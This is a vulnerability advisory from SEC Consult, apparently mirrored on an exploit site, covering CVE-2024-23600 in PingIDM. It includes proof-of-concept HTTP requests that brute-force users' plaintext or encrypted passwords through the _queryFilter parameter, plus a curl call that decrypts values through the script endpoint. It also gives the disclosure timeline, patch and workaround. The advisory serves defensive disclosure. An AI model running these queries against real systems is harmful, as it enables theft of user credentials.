Share
## https://sploitus.com/exploit?id=PACKETSTORM:182457
SEC Consult Vulnerability Lab Security Advisory < 20241030-0 >  
=======================================================================  
title: Query Filter Injection  
product: Ping Identity PingIDM (formerly known as ForgeRock Identity  
Management)  
vulnerable version: v7.0.0 - v7.5.0 (and older unsupported versions)  
fixed version: various patches; v8.0  
CVE number: CVE-2024-23600  
impact: medium  
homepage: https://backstage.forgerock.com/docs/idm  
found: 2024-04-10  
by: Ksandros Apostoli  
Miguel García Martín  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"ForgeRock Identity Management (IDM) software provides centralized, simple  
management and synchronization of identities for users, devices, and things.  
IDM software is highly flexible and therefore able to fit almost any use case  
and workflow."  
  
Source: https://backstage.forgerock.com/docs/idm/7.5/release-notes/preface.html  
  
"The combination of Ping Identity and ForgeRock is ushering in a very exciting  
time in the identity market. Together, our market-leading identity services will  
deliver more choice, unparalleled expertise, and a more complete identity  
solution for our customers and partners. We're incredibly excited to welcome  
you all to the future of identity."  
  
Source: https://www.pingidentity.com/en/lp/pingandforgerock.html  
  
  
Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately.  
  
SEC Consult highly recommends to perform a thorough security review of the product  
conducted by security professionals to identify and resolve potential further  
security issues.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Query Filter Injection (CVE-2024-23600)  
Ping Identity PingIDM (formerly known as ForgeRock Identity Management) versions  
7.5.0 and below, enabled an attacker with read access to the "User" collection,  
to abuse API query filters in order to obtain managed and/or internal user's  
passwords in either plaintext or encrypted variants, based on configuration.  
The API clearly prevents the password in either plaintext or encrypted to be  
retrieved by any other means, as this field is set as protected under the  
"User" object.  
  
However, by injecting a malicious query filter, using "password" as the field to  
be filtered, an attacker can perform a blind brute-force on any victim's user  
password details (encrypted object or plaintext string).  
  
This blind brute-force can be very efficiently conducted since the query filtering  
supported by the PingIDM API supports versatile operators such as Starts-With ('sw')  
or Contains ('co') etc. The sole limitation in this approach is case-insensitivity  
in the above-described filters adding an additional guessing overhead.  
  
The issue potentially extends to all protected fields of custom or built-in  
collections, but this remains to be tested.  
  
  
Proof of concept:  
-----------------  
1) Query Filter Injection (CVE-2024-23600)  
Two proof of concepts will be provided, one for version 7.3.0 and one for 7.5.0.  
  
PoC 1 - PingIDM (v7.3.0) - configured to store plaintext user passwords  
In the vulnerable instance running in this example (version 7.3.0), SEC Consult  
created a test user with the following credentials: `secUser1:aAqQ1234!`.  
A benign query filter in PingIDM can be crafted from the administrative  
UI to filter, for example, users by their username (the password field is not  
presented as available for filtering in the UI):  
  
HTTP Request  
```  
GET /openidm/managed/user?_queryFilter=userName+sw+"sec" HTTP/2  
Host: $HOST  
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]  
Accept-Api-Version: resource=1.0  
Accept: application/json  
Referer: https://$HOST/api/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=1, i  
```  
  
HTTP Response  
```  
HTTP/2 200 OK  
Date: Wed, 10 Apr 2024 13:05:13 GMT  
Content-Type: application/json;charset=utf-8  
Content-Length: 534  
Cache-Control: no-store  
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox  
Cross-Origin-Opener-Policy: same-origin  
Cross-Origin-Resource-Policy: same-origin  
Expires: 0  
Pragma: no-cache  
Set-Cookie: session-jwt=[redacted]  
Path=/; HttpOnly  
X-Content-Type-Options: nosniff  
X-Frame-Options: DENY  
Vary: Accept-Encoding, User-Agent  
Strict-Transport-Security: max-age=15724800; includeSubDomains  
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9  
  
{  
"result": [  
{  
"_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",  
"_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",  
"userName": "secUser1",  
"accountStatus": "active",  
"postalCode": "8046",  
"stateProvince": "ZH",  
"postalAddress": "Flurstrasse",  
"description": "Pentest User 1",  
"country": "CH",  
"city": "Zurich",  
"givenName": "SEC",  
"sn": "Consult",  
"mail": "secuser1@sec-consult.com",  
"preferences": {  
"updates": true,  
"marketing": false  
}  
}  
],  
"resultCount": 1,  
"pagedResultsCookie": null,  
"totalPagedResultsPolicy": "NONE",  
"totalPagedResults": -1,  
"remainingPagedResults": -1  
}  
```  
  
Note in the request/response pair above, that the query filter sent over the  
presented API request was used to query all users with 'userName' starting  
('sw') with the string "sec". As expected the test user 'secUser1'  
was returned. In addition, observe that the password field is never to be  
returned in any form (plaintext or encrypted) by the API.  
  
Despite not being available for filtering in either the UI or API documentation,  
the 'password' field can be used instead of 'userName' in the example above  
to query users based on their password. In case the PingIDM instance has been  
configured to store user passwords persistently in plaintext, it can be queried  
directly as shown in the request below:  
  
HTTP Request  
```  
GET /openidm/managed/user?_queryFilter=password+sw+"a" HTTP/2  
Host: $HOST  
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]  
Accept-Api-Version: resource=1.0  
Accept: application/json  
Referer: https://$HOST/api/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=1, i  
```  
  
HTTP Response  
```  
HTTP/2 200 OK  
Date: Wed, 10 Apr 2024 13:07:17 GMT  
Content-Type: application/json;charset=utf-8  
Content-Length: 534  
Cache-Control: no-store  
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox  
Cross-Origin-Opener-Policy: same-origin  
Cross-Origin-Resource-Policy: same-origin  
Expires: 0  
Pragma: no-cache  
Set-Cookie: session-jwt=[redacted]  
Path=/; HttpOnly  
X-Content-Type-Options: nosniff  
X-Frame-Options: DENY  
Vary: Accept-Encoding, User-Agent  
Strict-Transport-Security: max-age=15724800; includeSubDomains  
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9  
  
{  
"result": [  
{  
"_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",  
"_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",  
"userName": "secUser1",  
"accountStatus": "active",  
"postalCode": "8046",  
"stateProvince": "ZH",  
"postalAddress": "Flurstrasse",  
"description": "Pentest User 1",  
"country": "CH",  
"city": "Zurich",  
"givenName": "SEC",  
"sn": "Consult",  
"mail": "secuser1@sec-consult.com",  
"preferences": {  
"updates": true,  
"marketing": false  
}  
}  
],  
"resultCount": 1,  
"pagedResultsCookie": null,  
"totalPagedResultsPolicy": "NONE",  
"totalPagedResults": -1,  
"remainingPagedResults": -1  
}  
```  
  
As it can be noticed in the request above, all users with a password starting  
with 'a' (case insensitive) were queried and as expected, user 'secUser1' with  
password 'aAqQ1234!' was returned. For an additional sanity check, SEC Consult  
next queried all users with password starting with 'aR'. Since no users are  
to be found in the deployed instance with a matching password, no entries  
are returned as it can be seen below:  
  
HTTP Request  
```  
GET /openidm/managed/user?_queryFilter=password+sw+"aR" HTTP/2  
Host: $HOST  
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]  
Accept-Api-Version: resource=1.0  
Accept: application/json  
Referer: https://$HOST/api/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=1, i  
```  
  
HTTP Response  
```  
HTTP/2 200 OK  
Date: Wed, 10 Apr 2024 13:08:01 GMT  
Content-Type: application/json;charset=utf-8  
Content-Length: 138  
Cache-Control: no-store  
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox  
Cross-Origin-Opener-Policy: same-origin  
Cross-Origin-Resource-Policy: same-origin  
Expires: 0  
Pragma: no-cache  
Set-Cookie: session-jwt=[redacted]  
Path=/; HttpOnly  
X-Content-Type-Options: nosniff  
X-Frame-Options: DENY  
Vary: Accept-Encoding, User-Agent  
Strict-Transport-Security: max-age=15724800; includeSubDomains  
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9  
  
{  
"result": [],  
"resultCount": 0,  
"pagedResultsCookie": null,  
"totalPagedResultsPolicy": "NONE",  
"totalPagedResults": -1,  
"remainingPagedResults": -1  
}  
```  
  
However, if the attacker correctly guesses the second letter of the password,  
e.g., by querying for passwords starting with 'aA', we observe that the same user  
is returned as before:  
  
HTTP Request  
```  
GET /openidm/managed/user?_queryFilter=password+sw+"aA" HTTP/2  
Host: $HOST  
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]  
Accept-Api-Version: resource=1.0  
Accept: application/json  
Referer: https://$HOST/api/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=1, i  
```  
  
HTTP Response  
```  
HTTP/2 200 OK  
Date: Wed, 10 Apr 2024 13:09:25 GMT  
Content-Type: application/json;charset=utf-8  
Content-Length: 534  
Cache-Control: no-store  
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox  
Cross-Origin-Opener-Policy: same-origin  
Cross-Origin-Resource-Policy: same-origin  
Expires: 0  
Pragma: no-cache  
Set-Cookie: session-jwt=[redacted]  
Path=/; HttpOnly  
X-Content-Type-Options: nosniff  
X-Frame-Options: DENY  
Vary: Accept-Encoding, User-Agent  
Strict-Transport-Security: max-age=15724800; includeSubDomains  
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9  
  
{  
"result": [  
{  
"_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",  
"_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",  
"userName": "secUser1",  
"accountStatus": "active",  
"postalCode": "8046",  
"stateProvince": "ZH",  
"postalAddress": "Flurstrasse",  
"description": "Pentest User 1",  
"country": "CH",  
"city": "Zurich",  
"givenName": "SEC",  
"sn": "Consult",  
"mail": "secuser1@sec-consult.com",  
"preferences": {  
"updates": true,  
"marketing": false  
}  
}  
],  
"resultCount": 1,  
"pagedResultsCookie": null,  
"totalPagedResultsPolicy": "NONE",  
"totalPagedResults": -1,  
"remainingPagedResults": -1  
}  
```  
  
This indicates that an attacker can efficiently brute-force users' passwords.  
  
  
PoC 2: PingIDM (v7.5.0) - configured to store encrypted user passwords  
PingIDM by default stores a user's password encrypted symmetrically using a  
private key that is created upon the first startup of the platform and is  
stored in the application key-store under '{installation-path}/security/keystore.jceks'.  
The encrypted password is represented by an object rather than a string. An example  
of an encrypted password JSON object is shown below:  
  
```  
"username" : "anonymous",  
"password" : {  
"$crypto" : {  
"type" : "x-simple-encryption",  
"value" : {  
"cipher" : "AES/CBC/PKCS5Padding",  
"stableId" : "openidm-sym-default",  
"salt" : "9fwdc+Vp1LxDno0YC6bXAA==",  
"data" : "JtFAY+EupwCSLbH06d5OPA==",  
"keySize" : 16,  
"purpose" : "idm.config.encryption",  
"iv" : "Aaek9zviMgZVz/fvOOobIQ==",  
"mac" : "IhKQTvyjcJqw1aW5BMBZpQ=="  
}  
}  
},  
```  
  
While at first glance this object structure seems to break the query filter  
injection from the previous example, it was found that all encrypted password  
fields can be queried in the exact same way using the '_queryFilter' GET  
parameter, and by fully specifying their path within the JSON object, for  
example:  
  
```  
GET /openidm/managed/user?_queryFilter=password/$crypto/value/data+sw+"J"  
```  
  
The above request can be modified to include all other fields such as cipher,  
salt, data, iv, mac, etc. Obtaining a cleartext password in this example,  
would be clearly more challenging, as it would entirely depend on the security  
of the encryption key utilized. However, under certain circumstances  
(subject to user permissions), users in PingIDM can use the REST API to decrypt  
encrypted objects without the need for the key, as shown in the documentation:  
  
```  
curl \  
--header "X-OpenIDM-Username: openidm-admin" \  
--header "X-OpenIDM-Password: openidm-admin" \  
--header "Content-Type: application/json" \  
--cacert ca-cert.pem \  
--request POST \  
--data '{  
"type": "text/javascript",  
"globals": {  
"val": {  
"$crypto": {  
"type": "x-simple-encryption",  
"value": {  
"cipher": "AES/CBC/PKCS5Padding",  
"stableId": "openidm-sym-default",  
"salt": "qAS/eG7zdnFyK5H8lXvqTA==",  
"data": "zewf6hR1yjp34EFJqUGpdnzzFCPJs2IaX4V97jdQlSI=",  
"keySize": 16,  
"purpose": "idm.password.encryption",  
"iv": "A4pIiY6kG6t0uLyLmJAoWQ==",  
"mac": "sFDJqg0Mmp0Ftl+1q1Bjzw=="  
}  
}  
}  
},  
"source":"openidm.decrypt(val);"  
}' \  
"https://$HOST/openidm/script?_action=eval"  
{  
"myKey": "myPassword"  
}  
```  
source: https://backstage.forgerock.com/docs/idm/7/security-guide/keystore-encrypt-decrypt.html  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following versions have been tested which were the latest version  
available at the time of the test:  
* 7.3.0  
* 7.5.0  
  
The vendor communicated the following affected versions:  
* 7.0.0 - 7.5.0, specifically 7.0.2, 7.1.3, 7.2, 7.3, 7.4, 7.5 (and older unsupported versions)  
  
  
Vendor contact timeline:  
------------------------  
2024-04-17: Contacting vendor through https://support.pingidentity.com/s/security-vulnerability  
No response.  
2024-05-02: Contacting vendor through vulnerability submission form again.  
No response.  
2024-05-23: Contacting CISO via LinkedIn. Immediate response, submitting  
advisory details via encrypted email.  
2024-06-04: Security engineering team responds, acknowledges finding with low risk score.  
Patch will be released and CVE be assigned nevertheless.  
2024-06-11: Asking vendor for coordinated release, timeline, affected/fixed versions, CVE.  
2024-06-17: Vendor: thoroughly addressed the vulnerability, assigned CVE-2024-23600.  
Tentative public date for CVE is 24th June. Because of low risk, fix will be in next  
GA release 7.6 and backports to 7.5.x-7.1., acknowledged credits for team,  
needs us to submit to HackerOne as well regarding bug bounty donation.  
2024-06-21: Submitting to HackerOne, proposing coordinated release of our advisory  
after patches are available to customers.  
2024-08-01: PingIdentity informs us that everything is patched and CVE released, awarded bounty.  
2024-09-25: Following up after vacation absences, preparing our security advisory release,  
asking for clarification regarding version numbers; no response  
2024-10-17: Asking for version numbers and download URLs again  
Vendor confirms versions numbers and links.  
2024-10-22: Informing vendor about planned advisory release next week.  
2024-10-29: Receiving feedback, version 7.6 won't be released, but 8.0; Adjusting advisory.  
2024-10-30: Coordinated advisory release  
  
  
Solution:  
---------  
The vendor provides patches for the affected versions which can be downloaded from  
their download site. Furthermore, the upcoming release 8.0 includes the fixes as well:  
https://backstage.forgerock.com/downloads/browse/idm/all/productId:idm  
  
Vendor security advisory with further information:  
https://backstage.forgerock.com/knowledge/advisories/article/a95212747  
  
  
Workaround:  
-----------  
For custom roles, a granular permission selection can be made on all  
object's fields allowing 'Read', 'Read/Write', and 'None' access options.  
In the User object, the 'password' field is configurable to these  
permissions as well, even though this field can never be retrieved  
or read from any API endpoints or UI (rightfully so). If the  
permissions for the 'password' field under the user role are set  
to 'None', this will prevent also queries from being executed on  
that field. By default, when assigning read permissions to an object,  
all fields are marked as 'Read', as expected, therefore this change  
needs to be done manually.  
  
Unfortunately, for built-in roles, e.g. 'openidm-admin', these granular  
permissions cannot be set, therefore this workaround won't work.  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF Ksandros Apostoli, Miguel García Martín / @2024